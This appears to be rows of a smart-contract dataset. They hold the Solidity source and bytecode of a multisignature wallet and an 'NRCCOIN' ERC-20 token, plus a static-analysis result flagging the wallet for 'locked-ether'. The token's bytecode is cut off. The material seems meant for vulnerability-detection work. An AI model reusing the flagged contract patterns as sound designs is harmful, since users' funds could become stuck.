/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a723058203f1a6d3f78f0b40078c4236be2c3765705e4e58ef0d8dd42a09a76d79984d3590029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,176 |
0xbc368e4172327fc39d3385571f27662abc836d11
|
pragma solidity ^0.4.23;
/*
* Creator: NRC (NRCCOIN)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* NRC token smart contract.
*/
contract NRCToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 50000000 * (10**6);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function NRCToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "NRCCOIN";
string constant public symbol = "NRC";
uint8 constant public decimals = 6;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
}
|
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ade565b005b34801561043c57600080fd5b50610445610cfe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d37565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc3565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4a565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600781526020017f4e5243434f494e0000000000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc3565b14806106f95750600082145b151561070457600080fd5b61070e8383610fab565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109d565b90505b9392505050565b600681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad4576109cf652d79883d2000600454611483565b8211156109df5760009050610ad9565b610a276000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a756004548361149c565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ad9565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b3c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7757600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1d57600080fd5b505af1158015610c31573d6000803e3d6000fd5b505050506040513d6020811015610c4757600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f4e5243000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9257600080fd5b600560009054906101000a900460ff1615610db05760009050610dbd565b610dba83836114ba565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681